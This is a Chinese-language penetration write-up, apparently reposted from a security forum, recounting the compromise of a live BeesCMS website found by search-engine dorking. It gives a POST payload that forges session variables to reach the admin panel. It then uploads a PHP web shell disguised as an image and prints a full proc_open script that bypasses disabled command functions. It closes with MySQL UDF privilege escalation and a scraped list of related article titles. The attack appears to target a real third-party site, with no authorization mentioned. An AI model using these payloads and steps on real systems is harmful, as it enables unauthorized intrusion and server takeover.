摘要:这是一次挖掘cms通用漏洞时发现的网站,技术含量虽然不是很高,但是也拿出来和大家分享一下吧,希望能给一部分人带来收获。


0x01 进入后台

在通过googlehack语法挖掘beescms时发现了这个站点
利用网上的payload,在/mx_form/mx_form.php?id=12页面使用hackbarPOST以下数据

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000

然后访问/admin便可以直接进入后台

0x02 拿shell

进入后台后在‘添加产品模块’处寻找到了上传点

尝试上马,但提示‘上传图片格式不正确’,于是上传图片马抓包,在repeater里更改后缀为php,然后go

根据回显没有看出是否上传成功,但也没说失败。经过寻找在‘上传图片管理’处找到

点击图片发现解析了,直接菜刀连接,拿到shell

0x03 绕过安全模式

拿到shell后进入终端查看权限,但却发现执行命令失败,可能远程启用了安全模式

经过在网上一番查找得出:要找到未禁用的php执行函数。先上传了一个查看phpinfo的脚本,找到已禁用的函数

发现proc_open函数未被禁用,于是找到如下php脚本

<?php $descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符0=>array('pipe','r'), //STDIN1=>array('pipe','w'),//STDOUT2=>array('pipe','w') //STDERROR);$handle=proc_open('whoami',$descriptorspec,$pipes,NULL);//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)if(!is_resource($handle)){die('proc_open failed');}//fwrite($pipes[0],'ipconfig');print('stdout:');while($s=fgets($pipes[1])){print_r($s);}print('===========stderr:');while($s=fgets($pipes[2])){print_r($s);}fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($handle);?>

上传后可以执行命令,成功绕过安全模式

0x04 提权

上图可以看出只是iis权限,能做的事很局限,所以要想办法提权。
菜刀中虽然不能执行命令,但是可以查看文件,于是找到了数据库配置文件

发现是mysql的数据库,想到udf提权,于是上传udf提权脚本(附件中)

登录后导出udf便可以执行命令了

提权成功,但是不可以添加用户,也不能开3389。


结语:希望路过的各位大佬可以指点迷津,也欢迎各位来找我交流探讨,感谢阅读。

参考链接:

PHP限制命令执行绕过https://www.cnblogs.com/R4v3n/articles/9081202.html

作者: PaperPen 

来源:先知社区

如有侵权,请联系删除

安全模式 提权_记一次渗透挖洞提权实战相关推荐

  1. php挖洞提权,记一次渗透挖洞提权实战

    摘要:这是一次挖掘cms通用漏洞时发现的网站,技术含量虽然不是很高,但是也拿出来和大家分享一下吧,希望能给一部分人带来收获. 0x01 进入后台 在通过googlehack语法挖掘beescms时发现 ...

  2. php挖洞提权,挖洞经验 | 看我如何发现GitHub提权漏洞获得$10000赏金

    之前,我从没参加过GitHub官方的一些漏洞众测项目,在HackerOne发起的HackTheWorld比赛中,主办方宣传除了赏金以外,还有机会获得Github提供的终身无限制私有库(unlimite ...

  3. 2008 r2 server 提权_某次Windows渗透提权过程

    0x01物色目标 大多数站点出于安全考虑,都会在robots.txt文件中屏蔽掉搜索引擎对敏感路径页面的爬取.robots文件里的敏感路径在针对一个目标渗透时可以帮助我们识别出重要页面,但它的存在不利 ...

  4. java 鉴权_手把手教会你小程序登录鉴权

    导语 为了方便小程序应用使用微信登录态进行授权登录,微信小程序提供了登录授权的开放接口.乍一看文档,感觉文档上讲的非常有道理,但是实现起来又真的是摸不着头脑,不知道如何管理和维护登录态.本文就来手把手 ...

  5. 记一次src挖洞实战——逻辑漏洞

    前言 在学习了大量web逻辑漏洞的知识后,想进行实战.练练手.作为小菜鸡的我,这是我第二次进行实战挖洞,可能会存在许多问题.望各位大师傅多多指点. 闲话少说,直接开整 实战 1.信息收集 首先,在sr ...

  6. 哥伦布视图_在整个赛季中挖洞哥伦布蓝夹克的表现

    哥伦布视图 As a Blue Jackets fan, it is a common experience to lament the team's seeming to start the sea ...

  7. “深挖洞 广积粮”历史回顾_中国制造_网易

    "深挖洞 广积粮"历史回顾_中国制造_网易 "深挖洞 广积粮"历史回顾_中国制造_网易 附:"深挖洞 广积粮"的由来 posted on 2 ...

  8. 渗透测试技术----提权(第三方提权和WCE)

    一.Windows登录认证 1.登录认证过程 (1):用户登录时输入用户名和密码 (2):对输入的密码进行lmhash和nthash加密 (3):对加密的密码与系统中的SAM文件进行比对 (4):SA ...

  9. 学习笔记_记一次植物大战僵尸的破解

    学习笔记_记一次植物大战僵尸的破解 1.学习目标 2.学习工具 3.开始操作 3.1 理清思路 3.2 开始操作 4.总结 1.学习目标 了解二进制.十六进制对于计算机的意义 掌握二/八/十/十二/十 ...

最新文章

  1. 风险管理、收尾管理和知识产品管理
  2. ES curl bulk 导入数据
  3. VTK:参数化超环形用法实战
  4. git提交后的自动化流程构建
  5. 一文读懂 Serverless,将配置化思想复用到平台系统中
  6. language support图标在哪里?怎么消失了?
  7. 为什么c语言乘除法优先级低,C语言训练题.docx
  8. 办公技巧分享:如何编辑PDF文件内容
  9. 高端AP的拆解及保护电路设计
  10. Pr:制作片尾滚动字幕(基本图形法)
  11. ps常见颜色以及其色值
  12. 解决System进程占用80端口的问题
  13. 验证集与测试集的区别
  14. 产品经理面试如何做自我介绍?
  15. 时光轴 时间轴 效果
  16. 飞秋等级授权码_观点 | 谈谈网络安全等级保护与密码法
  17. Linux下强制关闭程序
  18. 如何计算IT投资回报(ROI)
  19. android摇一摇功能实现
  20. dmesgprintk的工作原理

热门文章

  1. input失去焦点验证格式_vue2多文本框的表单校验(3)-失去焦点触发校验
  2. java 的io流需要学吗_Java的IO流之字节流,必须要学得内容,你会嘛?
  3. java jndi使用_Java项目中使用JNDI连接数据库
  4. KAFKA SpringBoot2 Nacos 消息异步发送和消费消息(进阶篇)
  5. cannot convert value of type ‘org.codehaus.xfire.spring.editors.ServiceFactoryEditor
  6. mysql 插入数据时 自动设置创建时间和更新时间
  7. 来来来!一次搞定各种数据库 SQL 执行计划:MySQL、Oracle
  8. Mycat设置开机自启
  9. 编写一个C程序,实现以下功能:用一个函数实现两个字符串的比较,即自己写一个strcmp函数,函数原型为:int strcmp(char *p1,char *p2);设p1指向字符串s
  10. 获取控件enable状态_Android自定义组合控件数字加减(适用于购物车)